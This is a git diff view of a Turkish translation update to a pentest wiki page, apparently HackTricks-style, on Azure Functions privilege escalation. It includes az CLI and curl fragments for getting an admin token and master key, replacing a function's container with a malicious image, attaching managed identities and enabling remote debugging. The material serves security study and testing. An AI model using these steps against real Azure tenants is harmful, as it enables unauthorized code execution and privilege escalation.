Bu izinle, daha sonra **master key**'i almak ve böylece fonksiyonun koduna erişip değiştirmek için kullanılabilecek [**admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) almak mümkündür.
|
Bu izinle [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) alınabilir; bu token daha sonra **master key**'i elde etmek için kullanılabilir ve dolayısıyla function'ın koduna erişip onu değiştirmek mümkün olur.
|
||||||
|
|
||||||
Ancak, son kontrollerimde hiçbir token döndürülmedi, bu nedenle devre dışı bırakılmış veya artık çalışmıyor olabilir, ama işte bunu nasıl yapacağınız:
|
Ancak, son kontrollerimde herhangi bir token dönmedi, bu yüzden devre dışı bırakılmış veya artık çalışmıyor olabilir; ama işte nasıl yapacağınız:
|
||||||
```bash
|
```bash
|
||||||
# Get admin token
|
# Get admin token
|
||||||
az rest --method GET \
|
az rest --method GET \
|
||||||
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||||
|
|
||||||
Bu izinler, **devre dışı bırakılmış** olabilecek fonksiyonları **etkinleştirmeye** (veya devre dışı bırakmaya) olanak tanır.
|
Bu izin, devre dışı bırakılmış olabilecek **fonksiyonları etkinleştirmeye** (veya devre dışı bırakmaya) olanak tanır.
|
||||||
```bash
|
```bash
|
||||||
# Enable a disabled function
|
# Enable a disabled function
|
||||||
az functionapp config appsettings set \
|
az functionapp config appsettings set \
|
||||||
@@ -329,13 +369,13 @@ az functionapp config appsettings set \
|
|||||||
--resource-group <res-group> \
|
--resource-group <res-group> \
|
||||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||||
```
|
```
|
||||||
Aşağıdaki URL'de bir fonksiyonun etkin veya devre dışı olup olmadığını görmek de mümkündür (parantez içindeki izinleri kullanarak):
|
Aşağıdaki URL'de bir function'ın etkinleştirildiği veya devre dışı bırakıldığı da görülebilir (parantez içindeki izin kullanılarak):
|
||||||
```bash
|
```bash
|
||||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||||
|
|
||||||
Bu izinlerle, **bir konteyneri çalıştırmak üzere yapılandırılmış bir fonksiyon uygulaması tarafından çalıştırılan konteyneri değiştirmek** mümkündür. Bu, bir saldırganın kötü niyetli bir azure fonksiyon konteyner uygulamasını docker hub'a (örneğin) yüklemesine ve fonksiyonun bunu çalıştırmasına olanak tanır.
|
Bu izinlerle container çalıştıracak şekilde yapılandırılmış bir function app tarafından çalıştırılan container'ı **bir function app tarafından çalıştırılan container'ı değiştirmek** mümkün. Bu, bir saldırganın kötü amaçlı bir azure function container app'i (örneğin docker hub'a) yüklemesine ve function'ın bunu çalıştırmasını sağlamasına izin verir.
|
||||||
```bash
|
```bash
|
||||||
az functionapp config container set --name <app-name> \
|
az functionapp config container set --name <app-name> \
|
||||||
--resource-group <res-group> \
|
--resource-group <res-group> \
|
||||||
@@ -343,7 +383,7 @@ az functionapp config container set --name <app-name> \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||||
|
|
||||||
Bu izinlerle, **bir işleve yeni bir kullanıcı yönetilen kimlik eklemek** mümkündür. Eğer işlev tehlikeye atıldıysa, bu herhangi bir kullanıcı yönetilen kimliğine yetki yükseltmeye olanak tanır.
|
Bu izinlerle bir function'a **attach a new user managed identity** yapmak mümkün. Eğer function ele geçirilmişse, bu herhangi bir user managed identity'ye **escalate privileges** yapılmasına olanak tanır.
|
||||||
```bash
|
```bash
|
||||||
az functionapp identity assign \
|
az functionapp identity assign \
|
||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
@@ -352,20 +392,20 @@ az functionapp identity assign \
|
|||||||
```
|
```
|
||||||
### Uzaktan Hata Ayıklama
|
### Uzaktan Hata Ayıklama
|
||||||
|
|
||||||
Çalışan bir Azure fonksiyonunu hata ayıklamak için bağlanmak da mümkündür, [**belgelerde açıklandığı gibi**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ancak, varsayılan olarak Azure, geliştiricinin savunmasız yapılandırmalar bırakmaması için bu seçeneği 2 gün içinde kapatacaktır.
|
Çalışan bir Azure Function'a bağlanıp hata ayıklamak da mümkündür, [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ancak varsayılan olarak, geliştiricinin unutması durumunda savunmasız yapılandırmaları açık bırakmamak için Azure bu seçeneği 2 gün içinde kapalı duruma getirecektir.
|
||||||
|
|
||||||
Bir Fonksiyonun hata ayıklamanın etkin olup olmadığını kontrol etmek mümkündür:
|
Bir Function'un hata ayıklamanın etkin olup olmadığını şu komutla kontrol etmek mümkündür:
|
||||||
```bash
|
```bash
|
||||||
az functionapp show --name <app-name> --resource-group <res-group>
|
az functionapp show --name <app-name> --resource-group <res-group>
|
||||||
```
|
```
|
||||||
`Microsoft.Web/sites/config/write` iznine sahip olmak, bir işlevi hata ayıklama moduna almak da mümkündür (aşağıdaki komut ayrıca `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` ve `Microsoft.Web/sites/Read` izinlerini de gerektirir).
|
`Microsoft.Web/sites/config/write` iznine sahip olmak, bir function'ı hata ayıklama moduna geçirmek için de mümkündür (aşağıdaki komut ayrıca `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` ve `Microsoft.Web/sites/Read` izinlerini de gerektirir).
|
||||||
```bash
|
```bash
|
||||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||||
```
|
```
|
||||||
### Github deposunu değiştirme
|
### Github repo'yu değiştir
|
||||||
|
|
||||||
Github deposunu değiştirmek için aşağıdaki komutları çalıştırdım ama değişse bile, **yeni kod yüklenmedi** (muhtemelen Github Action'ın kodu güncellemesini beklediği için).\
|
Dağıtımın gerçekleştiği Github repo'yu aşağıdaki komutları çalıştırarak değiştirmeyi denedim fakat değişse bile **yeni kod yüklenmedi** (muhtemelen kodu güncellemesi için Github Action'ı beklediği için).\
|
||||||
Ayrıca, **yönetilen kimlik federasyon kimlik bilgisi güncellenmedi** ve yeni depoya izin vermedi, bu yüzden bu pek faydalı görünmüyor.
|
Ayrıca, **managed identity federated credential wasn't updated**, yeni repository'ye izin vermediği için bunun çok kullanışlı olmadığı görünüyor.
|
||||||
```bash
|
```bash
|
||||||
# Remove current
|
# Remove current
|
||||||
az functionapp deployment source delete \
|
az functionapp deployment source delete \
|
||||||
|
|||||||
Reference in New Issue
Block a user